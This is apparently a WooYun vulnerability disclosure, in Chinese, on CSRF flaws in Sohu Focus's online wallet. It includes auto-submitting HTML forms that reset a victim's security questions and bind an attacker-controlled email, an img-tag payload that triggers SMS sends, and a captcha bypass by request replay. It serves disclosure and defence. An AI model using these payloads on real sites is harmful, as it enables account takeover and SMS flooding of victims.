当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0117622

漏洞标题:搜狐焦点金融钱包多处CSRF劫持任意账号

相关厂商:搜狐

漏洞作者: jeary

提交时间:2015-06-02 10:57

修复时间:2015-07-17 11:30

公开时间:2015-07-17 11:30

漏洞类型:CSRF

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-02: 细节已通知厂商并且等待厂商处理中
2015-06-02: 厂商已经确认,细节仅向厂商公开
2015-06-12: 细节向核心白帽子及相关领域专家公开
2015-06-22: 细节向普通白帽子公开
2015-07-02: 细节向实习白帽子公开
2015-07-17: 细节向公众公开

简要描述:

摩擦摩擦,求不小厂商- -,

详细说明:

http://ibank.focus.cn/account/
账户设置多处敏感操作未设置token
设置问题CSRF POC:

<html>
<body>
<form action="http://ibank.focus.cn/account/BindSafeQuestion">
<input type="hidden" name="ask1" value="0" />
<input type="hidden" name="ask2" value="0" />
<input type="hidden" name="ask3" value="1" />
<input type="hidden" name="ans1" value="test" />
<input type="hidden" name="ans2" value="test" />
<input type="hidden" name="ans3" value="test" />
<input type="hidden" name="reset&#95;question" value="" />
<input type="hidden" name="uname" value="" />
</form>
</body>
<script>document.forms[0].submit();</script>
</html>


01.jpg


其他操作同上。另外如果用户忘记了问题,是靠邮箱来找回的,而邮箱也能CSRF绑定
<html>

<body>
<form action="http://ibank.focus.cn/account/BindEmailSend">
<input type="hidden" name="email" value="root&#64;jeary&#46;org" />
<input type="hidden" name="backUrl" value="http&#58;&#47;&#47;ibank&#46;focus&#46;cn&#47;secure&#47;BindEmailReceive" />
<input type="hidden" name="isBind" value="0" />

</form>
</body>
<script>document.forms[0].submit();</script>
就不上图了,绑定邮箱后,可通过邮箱重置问题。
支付密码、手机绑定、身份认证都是可以CSRF劫持的,除了手机绑定处有验证码,其他都可以CSRF
然而唯一一个有验证码的操作,也是一个摆设,可以绕过...

02.jpg


看上去貌似没啥问题,发一个包确认验证码是否正确,然后请求发送短信的包

03.jpg


于是我尝试重放了这个请求,结果返回结果不是“验证码不正确”,而是:

{"status":"5","msg":"\u9a8c\u8bc1\u7801\u95f4\u9694\u65f6\u95f4\u592a\u77ed\uff0c\u8bf7\u7a0d\u540e\u518d\u8bd5"}


验证码间隔时间太短,请稍后再试
应该是绕过了第一个验证码的请求,直接请求了发送短信的包,但是每条短信有时间间隔验证
于是测试了一下吧手机号作为payload,分别向十个不同的手机号发送验证码,如图所示,并没有出现时间太短之类的提示,代表成功了(PS:如果我用这个向几百万个人发送短信会怎样?)
<img src="http://jeary.org/upload/04.jpg" alt="" />
虽然有时间限制,不过只要设置发包间隔就好了,如图:
<img src="http://jeary.org/upload/05.jpg" alt="" />
对了,发送短信也是可以CSRF的,也就是说我并不需要自己发包,只需将发送短信的链接放在img表情里即可,只要带有搜狐cookie的人看到图片就请求了发送短信的url
POC:

<img src="http://ibank.focus.cn/account/GetCode?mobile=[手机号]"/>


漏洞证明:

如上。

修复方案:

1.敏感操作加上token
2.进行多步操作请确保流程完整性,在验证下一步的时候,请先判断上一步是否验证成功

版权声明:转载请注明来源 jeary@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-06-02 11:29

厂商回复:

感谢你对搜狐安全的支持。

最新状态:

暂无